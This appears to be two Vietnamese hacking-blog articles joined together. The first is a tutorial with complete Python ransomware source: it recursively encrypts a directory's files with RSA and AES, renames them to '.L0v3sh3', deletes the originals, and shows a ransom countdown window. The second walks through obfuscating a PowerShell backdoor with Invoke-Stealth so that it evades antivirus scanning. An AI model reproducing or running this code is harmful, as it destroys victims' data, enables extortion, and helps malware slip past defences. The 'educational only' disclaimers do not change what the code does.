Hàm trên là một hàm đệ quy để quét các thư mục và trả lại một loạt các tệp được liệt kê cùng đường dẫn. Sau đó, mình sử dụng hàm mã hóa và cung cấp danh sách file đã lấy trước đó.

import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

'''
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))
'''

# Mã hóa khóa công khai bằng base64
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Quét thư mục và trả về danh sách tất cả các tệp.
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''
    # đọc dữ liệu từ tệp
    with open(dataFile, 'rb') as f:
        data = f.read()
    
    # chuyển đổi dữ liệu sang byte
    data = bytes(data)

    # tạo đối tượng khóa công khai
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # mã hóa khóa phiên bằng khóa công khai
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # mã hóa dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # lưu dữ liệu được mã hóa vào tệp
    [ fileName, fileExtension ] = dataFile.split('.')
    encryptedFile = fileName + '_encrypted.' + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    print('Encrypted file saved to ' + encryptedFile)

fileName = 'test.txt'
encrypt(fileName, pubKey)

Và đối với hàm giải mã, bạn có thể sử dụng lệnh dưới đây.

def decrypt(dataFile, privateKeyFile):
    '''
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''

    # đọc khóa cá nhân từ tệp
    with open(privateKeyFile, 'rb') as f:
        privateKey = f.read()
        # create private key object
        key = RSA.import_key(privateKey)

    # đọc dữ liệu từ tệp
    with open(dataFile, 'rb') as f:
        # read the session key
        encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ]

    # giải mã khóa phiên
    cipher = PKCS1_OAEP.new(key)
    sessionKey = cipher.decrypt(encryptedSessionKey)

    # giải mã dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)
    data = cipher.decrypt_and_verify(ciphertext, tag)

    # lưu dữ liệu đã giải mã vào tệp
    [ fileName, fileExtension ] = dataFile.split('.')
    decryptedFile = fileName + '_decrypted.' + fileExtension
    with open(decryptedFile, 'wb') as f:
        f.write(data)

    print('Decrypted file saved to ' + decryptedFile)

Quét tệp, mã hóa tệp đó rồi thay đổi phần mở rộng.

import base64
import os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES


# mã hóa khóa công khai bằng base64
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Quét một thư mục và trả về danh sách tất cả các tệp
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    Đầu vào: đường dẫn đến tệp để mã hóa, khóa công khai
    Đầu ra: tệp được mã hóa với phần mở rộng .L0v3sh3 và xóa tệp gốc
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''
    # đọc dữ liệu từ tệp
    extension = dataFile.suffix.lower()
    dataFile = str(dataFile)
    with open(dataFile, 'rb') as f:
        data = f.read()
    
    # chuyển đổi dữ liệu sang byte
    data = bytes(data)

    # tạo đối tượng khóa công khai
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # mã hóa khóa phiên bằng khóa công khai
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # mã hóa dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # lưu dữ liệu được mã hóa vào tệp
    fileName= dataFile.split(extension)[0]
    fileExtension = '.L0v3sh3'
    encryptedFile = fileName + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    os.remove(dataFile)


# thay đổi thư mục thành thư mục của script
# giữ an toàn khi thay đổi thư mục,
# KHÔNG CHẠY SCRIPT NÀY TRÊN PC CỦA BẠN
directory = '../' # THAY ĐỔI CHỖ NÀY
excludeExtension = ['.py','.pem', '.exe'] # VỚI ĐỔI CHỖ NÀY
for item in scanRecurse(directory): 
    filePath = Path(item)
    fileType = filePath.suffix.lower()

    if fileType in excludeExtension:
        continue
    encrypt(filePath, pubKey)

Để thử nghiệm, mình sẽ sử dụng thư mục gốc của thư mục chương trình này để quét và mã hóa bằng tập lệnh này.

Đây là thư mục của mình  trước khi chạy phần mềm độc hại:

Đây là thư mục của mình sau khi chạy phần mềm độc hại:

import tkinter as tk

def countdown(count):
    # thay đổi văn bản trong label
    # count = '01:30:00'
    hour, minute, second = count.split(':')
    hour = int(hour)
    minute = int(minute)
    second = int(second)

    label['text'] = '{}:{}:{}'.format(hour, minute, second)

    if second > 0 or minute > 0 or hour > 0:
        # Gọi hàm countdown lại sau 1000ms (1s)
        if second > 0:
            second -= 1
        elif minute > 0:
            minute -= 1
            second = 59
        elif hour > 0:
            hour -= 1
            minute = 59
            second = 59
        root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) 

root = tk.Tk()
root.title('L0v3sh3 Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
label.pack()

# Gọi hàm countdown lần đầu tiên    
countdown('01:30:00')
# root.after(0, countdown, 5)
root.mainloop()

Câu hỏi thường gặp

Tôi có thể sử dụng mã này để mã hóa dữ liệu trên máy tính của người khác không?

Không, bạn không nên sử dụng mã này để mã hóa dữ liệu trên máy tính của người khác. Việc đó là bất hợp pháp và có thể dẫn đến hậu quả nghiêm trọng.

Mã này sử dụng thuật toán mã hóa nào?

Mã này sử dụng thuật toán mã hóa bất đối xứng RSA để mã hóa khóa phiên và thuật toán mã hóa đối xứng AES trong chế độ EAX để mã hóa dữ liệu.

Tôi cần cài đặt thư viện nào để chạy mã này?

Bạn cần cài đặt thư viện pycryptodome bằng lệnh pip install pycryptodome.

Lưu ý: Bài viết này chỉ mang với mục đích giáo dục. Vui lòng các bạn không làm những việc phạm pháp. Mọi hành vi phạm pháp các bạn gây ra thì Anonyviet sẽ không chịu trách nhiệm mọi hành vi đó

InvokeStealth – Công cụ giúp hacker vượt qua các trình diệt Virus 

Invoke-Stealth là một công cụ làm xáo trộn, nén, mã hóa và chuyển đổi các nội dung, các biến, các chuỗi có trong đoạn code được viết bằng ngôn ngữ PowerShell. Công cụ này giúp bạn tự động hóa quá trình giải mã của bất kì tệp với các kĩ thuật khác nhau. Không chỉ vậy, công cụ này được viết bằng ngôn ngữ Powershell và được làm ra bởi tác giả JoelGM. Như vậy, các hacker có thể dễ dàng sử dụng những em virus xinh xắn với đuôi .ps1 để thực hiện hack vào máy tính của bạn rồi. Không những thế, cách thức còn rất là đơn giản, chỉ cần gõ vài câu trên Terminal là bạn đã có thể biến đổi Virus riêng của mình rồi. Nhưng trước khi vào vấn đề đó thì mình sẽ nói qua các chức năng chính của Invoke-Stealth nhé.

Chức năng chính của Invoke-Stealth giúp bạn Bypass Antivirus hoặc mã hóa code:

• Chimera: Thay thế các chuỗi và nối các biến
• BetterXencyprt: Nén và mã hóa với các lần lặp ngẫu nghiên
• PyFuscation: Làm xáo trộn các hàm, biến và tham số
• PSObfuscation: chuyển đổi nội dung thành Byte và mã hóa bằng Gzip
• ReverseB64: mã hóa với base64 và đảo ngược để tránh bị phát hiện

Cài đặt và sử dụng Invoke-Stealth để Bypass AntiVirus

Để cài đặt bạn hãy mở Terminal lên và nhập lệnh sau:

sudo apt install powershell

git clone https://github.com/JoelGMSec/Invoke-Stealth.git

cd Invoke-Stealth

pwsh Invoke-Stealth.ps1

Còn cài đặt ở trên Windows thì bạn hãy tải ngôn ngữ PowerShell tại đây sau đó mở cmd lên và nhập lệnh sau:

powershell iwr -useb https://darkbyte.net/invoke-stealth.php -outfile Invoke-Stealth.ps1

Lưu ý: -outfile các bạn có thể chỉnh sửa đường dẫn để tải về. Ví dụ mình muốn tải Invoke-Stealth về thư mục Downloads thì nhập như sau: powershell iwr -useb https://darkbyte.net/invoke-stealth.php -outfile C:\Downloads\Invoke-Stealth.ps1

Để Bypass Antivirus thì mình sẽ làm như sau:

Ở đây mình có chuẩn bị sẵn một đoạn script BackDoor được viết bằng ngôn ngữ PowerShell để test ^^

Và mình đã cho tệp này vào website virustotal để scan. Như vậy tệp virus.ps1 mà mình vừa tạo ra đã bị phát hiện là có virus. Nếu các bạn chạy tệp này trên chính máy của các bạn thì Windows Defender sẽ ăn nó ngay lập tức. Vậy mình sẽ chuyển qua công cụ Invoke-Stealth như mình đã giới thiệu ở trên để biến đổi con virus :V. Nghe như kiểu biến đổi gen Virus ý nhỉ =))

Tại đây mình đã biến đổi file virus.ps1 với chức năng thay thế các chuỗi và các biến như mình đã nói ở phần chức năng. Cấu trúc của câu lệnh như sau: pwsh Invoke-Stealth.ps1 <tên file .ps1> -technique <chức năng>

Ví dụ: pwsh Invoke-Stealth.ps1 anonyviet.ps1 -technique ReverseB64

Sau khi nó hoàn thành, tệp virus.ps1 của mình đã bị biến đổi như trên hình. Bây giờ mình sẽ thử chức năng khác xem sao sau đó mình thử xem nó có Bypass AntiVirus không nhé. Nhìn rối mắt quá nhỉ :))

Mình sẽ thử chức năng làm xáo trộn biến, hàm và các tham số xem sao nhé !

Như vậy, tệp virus.ps1 của mình đã biến đổi thành 1 đoạn code dạng khác rồi. Bây giờ thì scan lại virus xem nó có Bypass AntiVirus không nhé

Uầy, đã Bypass AntiVirus thành công rồi kìa. Bằng cách này hacker dễ dàng chiếm quyền điều khiển máy hoặc làm bất cứ điều gì trên máy bạn rồi đấy !

Bài viết đến nay là hết rồi, mong rằng bạn học hỏi được điều gì đó qua bài viết này, và mình cũng mong các bạn không được làm các hành vi phạm pháp thay vì đó bạn hãy nghiên cứu cách phòng chống và nâng cao tính an toàn và bảo mật cho người sử dụng nhé. Bye Bye ! Chúc các bạn có một ngày tốt lành !

Bạn có thể đọc thêm bài viết Cách nhận biết máy tính bị nhiễm Virus trên Anonyviet nhé

Câu hỏi thường gặp

Invoke-Stealth là gì và nó hoạt động như thế nào?

Invoke-Stealth là một công cụ mã nguồn mở giúp mã hóa và làm xáo trộn mã nguồn PowerShell. Điều này giúp che giấu mã độc khỏi phần mềm diệt virus, cho phép nó “bypass” (vượt qua) các biện pháp bảo mật.

Tôi có thể sử dụng Invoke-Stealth để bảo vệ máy tính của mình không?

Không. Invoke-Stealth được thiết kế để che giấu mã độc, vì vậy không nên sử dụng nó để bảo vệ máy tính. Việc sử dụng công cụ này cho mục đích bất hợp pháp là trái pháp luật và có thể gây ra hậu quả nghiêm trọng.

Làm thế nào để bảo vệ máy tính của tôi khỏi các cuộc tấn công như được mô tả trong bài viết?

Hãy luôn cập nhật phần mềm diệt virus và hệ điều hành của bạn lên phiên bản mới nhất. Thường xuyên sao lưu dữ liệu quan trọng và tránh truy cập vào các trang web hoặc tải xuống các tệp tin không đáng tin cậy.